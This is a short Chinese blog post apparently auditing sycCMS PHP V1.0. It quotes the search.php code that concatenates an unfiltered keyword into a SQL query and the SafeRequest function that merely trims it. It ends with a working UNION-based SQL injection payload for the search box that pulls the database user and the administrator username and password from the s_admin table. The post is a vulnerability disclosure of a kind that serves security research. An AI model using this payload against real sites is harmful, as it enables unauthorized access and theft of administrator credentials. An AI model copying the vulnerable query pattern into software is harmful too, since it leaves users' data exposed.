sycCMS PHP V1.0---呵呵呵呵呵
闲的无聊,随便找了份代码看了看。
//search.php 第17行 第49行
......
$keyword=SafeRequest("keyword","post");
if($keyword==""){
$keyword=ReplaceStr(SafeRequest("keyword","get")," ","");
}
if($keyword==""){
die("<script>alert('请输入查询的关键字');history.back();</script>");
}
......
$sqlstr="select * from s_video where S_IsHide=0 and S_ClassID<>0 and S_Name like '%".$keyword."%' or S_Author like '%".$keyword."%' or S_Year like '%".$keyword."%' or S_Direct like '%".$keyword."%' or S_Area like '%".$keyword."%'";
$recount=$db->num_rows($db->query($sqlstr));
keyword赋值前先被SafeRequest函数处理过,跟进这个函数,定义在./include/function.php中,代码如下
function SafeRequest($key,$mode,$isfilter=''){
switch ($mode){
case 'post':
$value=isset($_POST[$key]) ? trim($_POST[$key]) : '';
break;
case 'get':
$value=isset($_GET[$key]) ? trim($_GET[$key]) : '';
break;
default:
$value=isset($_POST[$key]) ? trim($_POST[$key]) : '';
if($value==""){
$value=isset($_GET[$key]) ? trim($_GET[$key]) : '';
}
break;
}
if($isfilter!=''){
$value=str_encode($value);
}
return $value;
}
就处理了下空格,别的什么都不干,分分钟就要哈利路亚的节奏
POC:搜索框里面填:a%' and 1=2 union select 1,2,3,4,5,6,7,8,user(),10,11,12,13,14,S_AdminUserName,16,17,S_AdminPassWord,19,20,21,22,23,24,25,26 from s_admin #


浙公网安备 33010602011771号